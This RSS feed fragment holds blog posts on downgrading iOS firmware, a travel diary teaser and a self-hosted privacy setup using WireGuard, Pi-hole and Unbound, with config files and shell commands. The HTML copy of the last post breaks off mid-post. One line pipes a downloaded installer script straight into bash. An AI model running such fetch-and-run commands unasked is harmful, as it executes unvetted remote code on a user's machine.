<ol>
  <li>Download the iOS firmware for your device from <a href="https://ipsw.me/#platform">https://ipsw.me/#platform</a></li>
  <li>Launch iTunes</li>
  <li>Option+Click on the Restore button in iTunes</li>
  <li>Select the file you just downloaded.</li>
  <li>Disable iCloud on the device</li>
  <li>Upgrade to iOS8</li>
</ol>

<p>This is possible as long as Apple is signing the IPSW for your device. The case of iOS6 being signed seems to be true for:</p>

<ul>
  <li>iPhone 4S</li>
  <li>iPad 2</li>
</ul>

<h2 id="security-notes">Security Notes</h2>

<p>Running an unsupported OS is not something I take lightly. Here’s a list of defensive measures I took to ensure that I’m not at risk while doing so:</p>

<ol>
  <li>Try to keep the device always in Airplane mode.</li>
  <li>Keep sensitive data off the device. No photos/keychain sync for eg. Don’t enable Calendar/Contact/Media sync.</li>
  <li>Enable Restrictions on the device:
    <ul>
      <li>Restrict Safari to limited websites.</li>
      <li>Disable application installs.</li>
      <li>Disable iTunes store/iBooks store etc.</li>
      <li>Disable GPS/Bluetooth.</li>
      <li>Limit Background Refresh to very few trusted applications.</li>
    </ul>
  </li>
  <li>Limit number of applications (I only have Kybooks installed).</li>
  <li>Disable Javascript on Safari.</li>
</ol>

<p>If possible, I’d recommend using a separate Apple Account on the device.</p>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[From Nandini’s travel diary]]></title>
            <link>https://www.prashanthudupa.com/from-nandinis-travel-diary/</link>
            <guid isPermaLink="false">https://www.prashanthudupa.com/from-nandinis-travel-diary/</guid>
            <pubDate>Tue, 30 Jul 2019 05:13:18 GMT</pubDate>
            <description><![CDATA[My wife Nandini and Advay (our 8yo) had been to Mysore recently along with her Tripster Buddies. There were many moments in the whole trip, but one moment clearly stood out. The following is a note from her travel diary....]]></description>
            <content:encoded><![CDATA[My wife Nandini and Advay (our 8yo) had been to Mysore recently along with her Tripster Buddies. There were many moments in the whole trip, but one moment clearly stood out. The following is a note from her travel diary....]]></content:encoded>
            <author>Prashanth Udupa</author>
            <category>Unschooling</category>
        </item>
        <item>
            <title><![CDATA[My Personal Networking Setup]]></title>
            <link>https://mrkaran.dev/posts/personal-networking-setup/</link>
            <guid isPermaLink="false">https://mrkaran.dev/posts/personal-networking-setup/</guid>
            <pubDate>Sat, 29 Jun 2019 12:40:55 GMT</pubDate>
            <description><![CDATA[If I have nothing to hide then I have nothing to show either
When you visit a site from your browser, there are several entities which have access to this information in one request-response cycle. Starting from the router you connect to, to the DNS resolver you use to resolve the IP Address of the site, and finally, the ISP which has access to the raw network packets (unencrypted or encrypted). They are all insecure by default and most users on the internet do not care about their privacy. ISPs can very easily profile you by the queries you do and sell that data to 3rd party Ad companies. There are still a huge number of sites on the world wide web which don’t have a basic SSL encryption turned on. Even with the HTTPS turned on your ISPs can simply see the unencrypted DNS queries and figure out the site you’re visiting. Browser fingerprinting is another well-known technique where you can be easily profiled based on the different parameters exposed by your browser and generate patterns in your browsing habits.
If you’re a human you already care about your privacy. You won’t give out your Whatsapp chats to a random stranger on the streets to read, you won’t leave the door open while bathing, you won’t leave your credit card details out in the open, you will have a closed private discussion with your second half. Everyone does care about privacy in real life and everyone should care about the same online too.
“Some” social media companies exist solely on the data you provide. They are in the business of selling data and they don’t care a bit about your privacy. Every ad company out there wants an online persona about you, to feed you “personalized” recommendations. You may argue that they are “useful” but you cannot deny the fact that they are invading your privacy. You won’t like unwanted relationship advice from your neighbour when he hears you both fighting in the middle of the night. No one likes invaders, period.
Correlation of data points is easy to do in this age of ML/AI (Malai). Re-iterating an example I read somewhere on the interwebz, say you search for a very generic term “cancer”, this alone doesn’t indicate that you have cancer but merely is suggestive of the fact that you are interested in knowing more about the disease. Now maybe a few days later you search for the phrase “buy a wig online”. These 2 search queries put together can suggest that you’ve had chemotherapy done recently. This is a piece of information you might not want to hide, but you do want to have an option right?
That’s the whole fight against companies which invade your privacy is. You have absolutely no choice. You’re devoid of any choice.
Google is your friend
You may not even realise but we’ve all been guilty of Googling some random shit for fun, googling about anxiety or depression when feeling low, how to lose weight and all such seemingly embarrassing questions and we simply confront these things to Google thinking that no one is spying on us or being judgemental of us and we’re in a safe zone. What if this “friend” is the one who’s stabbing your back. No surprises there! You don’t even know but these search engines might have already shared all such queries with several 3rd party providers and business who are on the lookout for such data.
I am scared
I hope by now you’re convinced that you want some basic privacy online. If not, stop reading here because if this didn’t persuade you enough, nothing will and the rest of the blog is pretty useless for you anyway, so thanks for stopping by!
For the rest of us folks, there are a few practical things we can immediately start which. These are the things which have very less involvement of effort but are a good kickstart.
Use DNS over HTTPS (DoH) based resolver (personal choice: 1.1.1.1)
Use a browser which doesn’t ship with its own god damn resolver (personal choice: Firefox)
Use an Ad-Blocker (personal choice: uBlock Origin)
Only with the above 3 steps you’ve achieved:
ISPs cannot see your DNS queries in plain text
Websites cannot serve you random js code in the name of ads
A web browser which is more focussed towards privacy in general
If you’re someone who wants to spend a bit more time (trust me it won’t take even one hour) and a bit of money (one movie ticket a month) you should host your personal VPN. VPNs are awesome because you mitigate a lot of privacy invaders and you are on an anonymous browsing mode generally. Theoretically, we have shifted the trust from the ISP to the cloud provider where VPN is hosted, yes. But as long as you’re not doing anything illegal in the eyes of the state, you should be fine.
Protip: Don’t use VPN to do something stupid. You are always trackable. The whole exercise is to not allow bad actors to access your personally identifiable information online and have a non-intrusive browsing experience. If you think by using VPNs you can get away with doing something which is illegal by your state then you’re wrong.
Tools I use#
VPN: Wireguard
Adblocking: Pi-hole
DNS Resolver: Unbound
The setup is pretty straightforward. I use Wireguard client on my MBP and an Android device to connect to the Wireguard VPN server hosted on a $5 DO droplet in Bengaluru, India. For ad-blocking, I use Pi-hole, which does DNS based ad-blocking. And finally to resolve the DNS queries I use vanilla unbound without any forwarders.
Read the following sections to know more on each of the above pieces.
Setting up wireguard VPN#
Wireguard gets all the love from me (thanks to @sarat for telling me about this). It is probably the best option out there if you’re looking to self-host a VPN. Wireguard gets a lot of things right, first being the ease of setup. Literally takes a few commands and you’re all set. Wireguard is very lightweight and consumes minimal resources. Wireguard has better encryption and is a lot faster than IPvsec or open VPN. Cloudflare’s new app Warp is also based on Wireguard. Oh, and did I mention that Wireguard seamlessly transitions when you switch networks (which happens all the time when you’re on shitty 4G network/public WiFis).
Wireguard basically has 2 parts. One is the server and the other is the client.
Wireguard sits in its own separate network namespace and uses this namespace as an init namespace from where the traffic is received or sent. This namespace is now responsible for flowing your traffic to the other actual interface your network card on the device (which is probably wlan or eth).
Installing Wireguard#
$ sudo add-apt-repository ppa:wireguard/wireguard
$ sudo apt-get update
$ sudo apt-get install wireguard-dkms wireguard-tools linux-headers-$(uname -r)
Generating Public/Private key pair#
$ umask 077
$ wg genkey | tee server_private_key | wg pubkey > server_public_key
$ ls
server_private_key  server_public_key
Configuring Wireguard (server)#
$ touch /etc/wireguard/wg0.cong
$ vim /etc/wireguard/wg0.conf
# Add the following lines and modify the values
[Interface] # Configuration settings for a separate network interface
Address = 10.200.200.1/24 # You can choose any private subnet
SaveConfig = false # Wireguard can configure additional peers automatically without reloading wireguard, for some reason this didn't work well for me
PrivateKey = <redacted> # Output of the `server_private_key` generated in the above setup
ListenPort = 51820 # Default port

# Add the peers (clients which connect to the wireguard server)
[Peer]
# MBP
PublicKey = <laptop_public_key>
AllowedIPs = 10.200.200.2/32
[Peer]
# Android
PublicKey = <phone_public_key>
AllowedIPs = 10.200.200.3/32
Configuring Wireguard (client)#
Repeat the step of generating a Public/Private key pair. You can also take a look at Subspace which is a nice GUI tool which helps you create additional profiles for your devices where generating key/pair is not convenient like mobile phones. I didn’t get the time to set it up personally, so I generated public/private keys from my laptop itself and then configured it manually using an Android app Viscerion which is a wireguard client app.
For the client, your config file should look like:
[Interface]
PrivateKey = <client_private_key>
Address = 10.200.200.2/32

[Peer]
PublicKey = <server_public_key>
AllowedIPs = 0.0.0.0/0
Endpoint = <public_ip_droplet>:51820
PersistentKeepalive = 25
Recap#
If you got overwhelmed at this point, let’s recap what just happened.
We have 2 config files, one for the server and one for the client which happens to be my laptop. On each of the devices, generate a public/private key pair.
On the server side, while configuring peer, give the public key of the client. On the client side, while configuring peer,give the public key of the server. This is similar to how ssh works. Wireguard uses Curve25519 crypto technique to generate a public/private key pair, which honestly looks so better than lengthy ECDSA/RSA ones :P
Now let us start the wireguard service. wireguard provides a nice wrapper wg-quick which does the following things when you start:
sudo wg-quick up wg0
[#] ip link add wg0 type wireguard
[#] wg setconf wg0 /dev/fd/63
[#] ip -4 address add 10.200.200.1/24 dev wg0
[#] ip link set mtu 1420 up dev wg0
You can verify a new network interface now by:
$ ip addr | grep wg0
5: wg0: <POINTOPOINT,NOARP,UP,LOWER_UP> mtu 1420 qdisc noqueue state UNKNOWN group default qlen 1000
    inet 10.200.200.1/24 scope global wg0
You can also view the wireguard connection status by:
$ sudo wg show
interface: wg0
  public key: <REDACTED>
  private key: (hidden)
  listening port: 51820

peer: <REDACTED>
  allowed ips: 10.200.200.2/32
Almost There, But Not Quite#
Turn on your wireguard client and you will notice a strange thing. At this point, you’re not able to browse the internet but you are able to connect to the wireguard server and even wireguard is acknowledging that (notice the last two lines in the following snippet):
$ sudo wg show
interface: wg0
  public key: <REDACTED>
  private key: (hidden)
  listening port: 51820

peer: <client_public_key>
  endpoint: <client_public_ip>:64882
  allowed ips: 10.200.200.2/32
  *latest handshake: 8 seconds ago*
  *transfer: 754.60 KiB received, 5.59 MiB sent*
Wireguard status shows that our client can reach the wireguard server. But still, we’re unable to browse the internet on our client.
To debug this further, let’s use tcpdump and monitor the packets coming in wg0 interface. Since tcpdump’s output can be overwhelming and contains a lot of noise, let’s filter to monitor only the ICMP packets. So we’ll be using ping from a client which is the easiest way to send ICMP packets from point A to point B.
# on wireguard client
➜  ~ ping $(curl icanhazip.com)
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100    14  100    14    0     0     16      0 --:--:-- --:--:-- --:--:--    16
PING <server_ip_redacted> (<server_ip_redacted>): 56 data bytes
64 bytes from <server_ip_redacted>: icmp_seq=0 ttl=64 time=112.126 ms
64 bytes from <server_ip_redacted>: icmp_seq=1 ttl=64 time=142.980 ms
^C
--- <server_ip_redacted> ping statistics ---
2 packets transmitted, 2 packets received, 0.0% packet loss
# on wireguard server
$ sudo tcpdump -nni wg0 -Q in icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on wg0, link-type RAW (Raw IP), capture size 262144 bytes
14:26:31.991498 IP 10.200.200.2 > <server_ip_redacted>: ICMP echo request, id 52630, seq 0, length 64
14:26:33.027288 IP 10.200.200.2 > <server_ip_redacted>: ICMP echo request, id 52630, seq 1, length 64
Okay, this is getting interesting. wg0 is definitely receiving packets from our client. Arghhh. Now does it strike to you? Our actual network routing is through eth0 (on DO usually) and wg0 is just some interface created by Wireguard. They have no “connection” (no pun intended) between them. Let us confirm if this actually is the problem by detecting ICMP traffic on this interface(eth0) using the same command:
# on wireguard server
$ sudo tcpdump -nni eth0 -Q in icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type RAW (Raw IP), capture size 262144 bytes
... # nothing happens even if we are sending PING from client
Wow, see? No ICMP packets received on eth0. So that indeed is the problem and we have zero’ed it down using tcpdump.
(Note to self: Learn more Linux debugging utils, these things are a godsend!)
In order to fix this, we need to do 2 things:
IP Forwarding
$ vim /etc/sysctl.conf
# check for this line and replace the value from 0 to 1
net.ipv4.ip_forward = 1
$ sudo sysctl -p
IP Tables Rules
We need to set up NAT between eth0(could be different for you) and wg0. This can be done using iptables and wireguard actually has a nice mechanism to run custom commands using PostUp/PostDown signals.
# on wireguard server
$ vim /etc/wireguard/wg0.conf
# add these lines in [Interface] section
PostUp = iptables -A FORWARD -i wg0 -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE; ip6tables -A FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE # Configure iptables to setup a NAT on eth0 and forward the packets (ipv4 and ipv6) on interface wg0 to eth0
PostDown = iptables -D FORWARD -i wg0 -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE; ip6tables -D FORWARD -i wg0 -j ACCEPT; ip6tables -t nat -D POSTROUTING -o eth0 -j MASQUERADE # Delete the rule since when wireguard is down, wg0 doesn't exist
Now everything’s set up and we are browsing the internet privately using a VPN. Ensure that your public IP is of the VPN server when you’re browsing and it’s not leaking.
Setting up Pi-hole#
Installing Pi-hole is as simple as
curl -sSL https://install.pi-hole.net | bash
You can read more about installation in the official docs.
A nice GUI is always a plus, so make sure you enable that option while installing Pi-hole.

Now, we need to configure our Wireguard client to use Pi-hole as a nameserver for DNS resolution.
# on the client add the following line
sudo vim /etc/wireguard/wg0.conf
[Interface]
...
DNS = <vpn_server_public_ip>
...
Pi-hole runs on port 53 and accepts DNS queries over UDP. Any query is first checked by Pi-hole in the blacklist. If it’s present in the blacklist, it’s immediately dropped. If not, Pi-hole will forward our DNS query to one of the forwarder configured (1.1.1.1 for eg or our custom server, explained in the next step).
Setting up Unbound DNS#
I don’t mind trusting Cloudflare. But I simply don’t have to. :) And once you make peace with the fact that you don’t need 3rd party companies controlling your networking stack, you’ll sleep better.
I have setup Unbound without any forwarders. Unbound is a recursive resolver which supports DNSSec and caching mainly. Unbound first checks if the query exists in cache and if it does, it directly returns the “answer”. Otherwise it talks to the root nameserver and then the whole DNS dance happens. Since our DNS query is now split into multiple parts, where each nameserver is only being queried for a part of the FQDN (also known as QNAME minimialistion), it becomes a lot harder for anyone to intercept or reconstruct your DNS queries.
You can install unbound using
$ sudo apt-get install unbound
To start using Unbound, we need a file root.hints which contains information about root nameservers. You can cron this to fetch a new copy every once in 3-4 months, it hardly changes.
$ wget -O root.hints https://www.internic.net/domain/named.root
$ sudo mv root.hints /var/lib/unbound/
$ sudo service unbound restart
You can verify if the DNS queries are being resolved by:
# 6363 is where I have configured my Unbound server to listen
dig mrkaran.dev @127.0.0.1 -p 6363
Pi-hole official docs have a great explainer on how to configure Unbound with Pi-hole so I won’t be repeating the steps here again.
You can configure Pi-hole to forward accepted DNS queries from port 53 (standard) to 127.0.0.1#6363 (unbound).

The Endgame#
I plan to self-host a couple of more things. DNS is something I am really interested in and in future I plan to host my own DNScrypt server soon-ish.
I believe if you own your data you’re in better control of your digital identity. Watching too much of Black Mirror added to the paranoia to an extent, I suppose! I grew up in the late nineties and I’ve seen the internet primarily as a set of the decentralized toolchain. There’s no reason we should let go any of that to the hands of a few corp giants and make it centralized.
Ending this long-ish post by a beautiful quote:
Study after study has shown that human behaviour changes when we know we’re being watched. Under observation, we act less free, which means we effectively are less free.
― Edward Snowden
Cheers! :)]]></description>
            <content:encoded><![CDATA[<blockquote>
<p>If I have nothing to hide then I have nothing to show either</p>
</blockquote>
<p>When you visit a site from your browser, there are several entities which have access to this information in one request-response cycle. Starting from the router you connect to, to the DNS resolver you use to resolve the IP Address of the site, and finally, the ISP which has access to the raw network packets (unencrypted or encrypted). They are all insecure by default and most users on the internet do not care about their privacy. ISPs can very easily profile you by the queries you do and sell that data to 3rd party Ad companies. There are still a huge number of sites on the world wide web which don’t have a basic SSL encryption turned on. Even with the HTTPS turned on your ISPs can simply see the unencrypted DNS queries and figure out the site you’re visiting. Browser fingerprinting is another well-known technique where you can be easily profiled based on the different parameters exposed by your browser and generate patterns in your browsing habits.</p>
<p>If you’re a human you already care about your privacy. You won’t give out your Whatsapp chats to a random stranger on the streets to read, you won’t leave the door open while bathing, you won’t leave your credit card details out in the open, you will have a closed private discussion with your second half. Everyone does care about privacy in real life and everyone should care about the same online too.</p>
<p>“Some” social media companies exist solely on the data you provide. They are in the business of selling data and they don’t care a bit about your privacy. Every ad company out there wants an online persona about you, to feed you “personalized” recommendations. You may argue that they are “useful” but you cannot deny the fact that they are invading your privacy. You won’t like unwanted relationship advice from your neighbour when he hears you both fighting in the middle of the night. No one likes invaders, period.</p>
<p>Correlation of data points is easy to do in this age of ML/AI (<em>Malai</em>). Re-iterating an example I read somewhere on the interwebz, say you search for a very generic term “cancer”, this alone doesn’t indicate that you have cancer but merely is suggestive of the fact that you are interested in knowing more about the disease. Now maybe a few days later you search for the phrase “buy a wig online”. These 2 search queries put together <em>can suggest</em> that you’ve had chemotherapy done recently. This is a piece of information you <em>might</em> not want to hide, but you do want to <strong>have an option</strong> right?</p>
<p>That’s the whole fight against companies which invade your privacy is. You have absolutely no choice. You’re devoid of any choice.</p>
<blockquote>
<p>Google is your friend</p>
</blockquote>
<p>You may not even realise but we’ve all been guilty of <em>Googling</em> some random shit for fun, googling about anxiety or depression when feeling low, how to lose weight and all such seemingly embarrassing questions and we simply confront these things to Google thinking that no one is spying on us or being judgemental of us and we’re in a safe zone. What if this “friend” is the one who’s stabbing your back. No surprises there! You don’t even know but these search engines might have already shared all such queries with several 3rd party providers and business who are on the lookout for such data.</p>
<blockquote>
<p>I am scared</p>
</blockquote>
<p>I hope by now you’re convinced that you want some basic privacy online. If not, stop reading here because if this didn’t persuade you enough, nothing will and the rest of the blog is pretty useless for you anyway, so thanks for stopping by!</p>
<p>For the rest of us folks, there are a few practical things we can immediately start which. These are the things which have very less involvement of effort but are a good kickstart.</p>
<ul>
<li>Use DNS over HTTPS (DoH) based resolver (personal choice: 1.1.1.1)</li>
<li>Use a browser which doesn’t ship with its own <a rel="external" href="https://discourse.pi-hole.net/t/disable-async-dns-resolver-in-google-chrome/9500">god damn resolver</a> (personal choice: Firefox)</li>
<li>Use an Ad-Blocker (personal choice: uBlock Origin)</li>
</ul>
<p>Only with the above 3 steps you’ve achieved:</p>
<ul>
<li>ISPs cannot see your DNS queries in plain text</li>
<li>Websites cannot serve you random js code in the name of ads</li>
<li>A web browser which is more focussed towards privacy in general</li>
</ul>
<p>If you’re someone who wants to spend a bit more time (trust me it won’t take even one hour) and a bit of money (one movie ticket a month) you should host your personal VPN. VPNs are awesome because you mitigate a lot of privacy invaders and you are on an anonymous browsing mode <em>generally</em>. Theoretically, we have shifted the trust from the ISP to the cloud provider where VPN is hosted, yes. But as long as you’re not doing anything illegal in the eyes of the state, you should be fine.</p>
<p><strong>Protip</strong>: Don’t use VPN to do something stupid. You are always trackable. The whole exercise is to not allow bad actors to access your personally identifiable information online and have a non-intrusive browsing experience. If you think by using VPNs you can get away with doing something which is illegal by your state then you’re wrong.</p>
<h2 id="tools-i-use">Tools I use<a class="zola-anchor" href="#tools-i-use" aria-label="Anchor link for: tools-i-use">#</a></h2>
<ul>
<li>VPN: <a rel="external" href="https://www.wireguard.com/">Wireguard</a></li>
<li>Adblocking: <a rel="external" href="https://pi-hole.net/">Pi-hole</a></li>
<li>DNS Resolver: <a rel="external" href="https://nlnetlabs.nl/projects/unbound/about/">Unbound</a></li>
</ul>
<p>The setup is pretty straightforward. I use Wireguard client on my MBP and an Android device to connect to the Wireguard VPN server hosted on a $5 <a rel="external" href="https://www.digitalocean.com/">DO</a> droplet in Bengaluru, India. For ad-blocking, I use Pi-hole, which does DNS based ad-blocking. And finally to resolve the DNS queries I use vanilla unbound without any forwarders.</p>
<p>Read the following sections to know more on each of the above pieces.</p>
<h2 id="setting-up-wireguard-vpn">Setting up wireguard VPN<a class="zola-anchor" href="#setting-up-wireguard-vpn" aria-label="Anchor link for: setting-up-wireguard-vpn">#</a></h2>
<p>Wireguard gets all the love from me (thanks to <a rel="external" href="https://twitter.com/iamd3vil">@sarat</a> for telling me about this). It is probably the best option out there if you’re looking to self-host a VPN. Wireguard gets a lot of things right, first being the ease of setup. Literally takes a few commands and you’re all set. Wireguard is very lightweight and consumes minimal resources. Wireguard has better encryption and is a <a rel="external" href="https://www.wireguard.com/performance/">lot faster</a> than IPvsec or open VPN. Cloudflare’s new app Warp is also based on Wireguard. Oh, and did I mention that Wireguard seamlessly transitions when you switch networks (which happens all the time when you’re on shitty 4G network/public WiFis).</p>
<p>Wireguard basically has 2 parts. One is the server and the other is the client.
Wireguard sits in its own separate network namespace and uses this namespace as an init namespace from where the traffic is received or sent. This namespace is now responsible for flowing your traffic to the other actual interface your network card on the device (which is probably wlan or eth).</p>
<h3 id="installing-wireguard">Installing Wireguard<a class="zola-anchor" href="#installing-wireguard" aria-label="Anchor link for: installing-wireguard">#</a></h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> add-apt-repository</span><span style="color: light-dark(#032F62, #96D0FF);"> ppa:wireguard/wireguard</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> apt-get</span><span style="color: light-dark(#032F62, #96D0FF);"> update</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> sudo</span><span style="color: light-dark(#032F62, #96D0FF);"> apt-get</span><span style="color: light-dark(#032F62, #96D0FF);"> install</span><span style="color: light-dark(#032F62, #96D0FF);"> wireguard-dkms</span><span style="color: light-dark(#032F62, #96D0FF);"> wireguard-tools</span><span style="color: light-dark(#032F62, #96D0FF);"> linux-headers-</span><span>$(</span><span style="color: light-dark(#6F42C1, #F69D50);">uname</span><span style="color: light-dark(#005CC5, #6CB6FF);"> -</span><span style="color: light-dark(#005CC5, #6CB6FF);">r</span><span>)</span></span></code></pre><h3 id="generating-public-private-key-pair">Generating Public/Private key pair<a class="zola-anchor" href="#generating-public-private-key-pair" aria-label="Anchor link for: generating-public-private-key-pair">#</a></h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> umask</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 077</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> wg</span><span style="color: light-dark(#032F62, #96D0FF);"> genkey</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> tee</span><span style="color: light-dark(#032F62, #96D0FF);"> server_private_key</span><span style="color: light-dark(#D73A49, #F47067);"> |</span><span style="color: light-dark(#6F42C1, #F69D50);"> wg</span><span style="color: light-dark(#032F62, #96D0FF);"> pubkey</span><span style="color: light-dark(#D73A49, #F47067);"> &gt;</span><span style="color: light-dark(#032F62, #96D0FF);"> server_public_key</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> ls</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">server_private_key</span><span style="color: light-dark(#032F62, #96D0FF);">  server_public_key</span></span></code></pre><h3 id="configuring-wireguard-server">Configuring Wireguard (server)<a class="zola-anchor" href="#configuring-wireguard-server" aria-label="Anchor link for: configuring-wireguard-server">#</a></h3>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="shellscript"><span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> touch</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/wireguard/wg0.cong</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">$</span><span style="color: light-dark(#032F62, #96D0FF);"> vim</span><span style="color: light-dark(#032F62, #96D0FF);"> /etc/wireguard/wg0.conf</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Add the following lines and modify the values</span></span>
<span class="giallo-l"><span>[</span><span>Interface</span><span>]</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Configuration settings for a separate network interface</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">Address</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.200.200.1/24</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> You can choose any private subnet</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">SaveConfig</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> false</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Wireguard can configure additional peers automatically without reloading wireguard, for some reason this didn&#39;t work well for me</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PrivateKey</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">redacte</span><span>d</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Output of the `server_private_key` generated in the above setup</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">ListenPort</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#005CC5, #6CB6FF);"> 51820</span><span style="color: light-dark(#6A737D, #768390);"> #</span><span style="color: light-dark(#6A737D, #768390);"> Default port</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Add the peers (clients which connect to the wireguard server)</span></span>
<span class="giallo-l"><span>[</span><span>Peer</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> MBP</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PublicKey</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">laptop_public_ke</span><span>y</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">AllowedIPs</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.200.200.2/32</span></span>
<span class="giallo-l"><span>[</span><span>Peer</span><span>]</span></span>
<span class="giallo-l"><span style="color: light-dark(#6A737D, #768390);">#</span><span style="color: light-dark(#6A737D, #768390);"> Android</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">PublicKey</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#D73A49, #F47067);"> &lt;</span><span style="color: light-dark(#032F62, #96D0FF);">phone_public_ke</span><span>y</span><span style="color: light-dark(#D73A49, #F47067);">&gt;</span></span>
<span class="giallo-l"><span style="color: light-dark(#6F42C1, #F69D50);">AllowedIPs</span><span style="color: light-dark(#032F62, #96D0FF);"> =</span><span style="color: light-dark(#032F62, #96D0FF);"> 10.200.200.3/32</span></span></code></pre><h3 id="configuring-wireguard-client">Configuring Wireguard (client)<a class="zola-anchor" href="#configuring-wireguard-client" aria-label="Anchor link for: configuring-wireguard-client">#</a></h3>
<ul>
<li>
<p>Repeat the step of generating a Public/Private key pair. You can also take a look at <a rel="external" href="https://github.com/subspacecloud/subspace">Subspace</a> which is a nice GUI tool which helps you create additional profiles for your devices where generating key/pair is not convenient like mobile phones. I didn’t get the time to set it up personally, so I generated public/private keys from my laptop itself and then configured it manually using an Android app <a rel="external" href="https://github.com/MSF-Jarvis/viscerion">Viscerion</a> which is a wireguard client app.</p>
</li>
<li>
<p>For the client, your config file should look like:</p>
</li>
</ul>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="plain"><span class="giallo-l"><span>[Interface]</span></span>
<span class="giallo-l"><span>PrivateKey = &lt;client_private_key&gt;</span></span>
<span class="giallo-l"><span>Address = 10.200.200.2/32</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span>[Peer]</span></span>
<span class="giallo-l"><span>PublicKey = &lt;server_public_key&gt;</span></span>
<span class="giallo-l"><span>AllowedIPs = 0.0.0.0/0</span></span>
<span class="giallo-l"><span>Endpoint = &lt;public_ip_droplet&gt;:51820</span></span>
<span class="giallo-l"><span>PersistentKeepalive = 25</span></span></code></pre><h3 id="recap">Recap<a class="zola-anchor" href="#recap" aria-label="Anchor link for: recap">#</a></h3>
<p>If you got overwhelmed at this point, let’s recap what just happened.</p>
<p>We have 2 config files, one for the server and one for the client which happens to be my laptop. On each of the devices, generate a public/private key pair.</p>
<p>On the server side, while configuring peer, give the public key of the client. On the client side, while configuring peer,give the public key of the server. This is similar to how <code>ssh</code> works. Wireguard uses <code>Curve25519</code> crypto technique to generate a public/private key pair, which honestly <em>looks</em> so better than lengthy ECDSA/RSA ones :P</p>
<p>Now let us start the wireguard service. wireguard provides a nice wrapper <code>wg-quick</code> which does the following things when you start:</p>
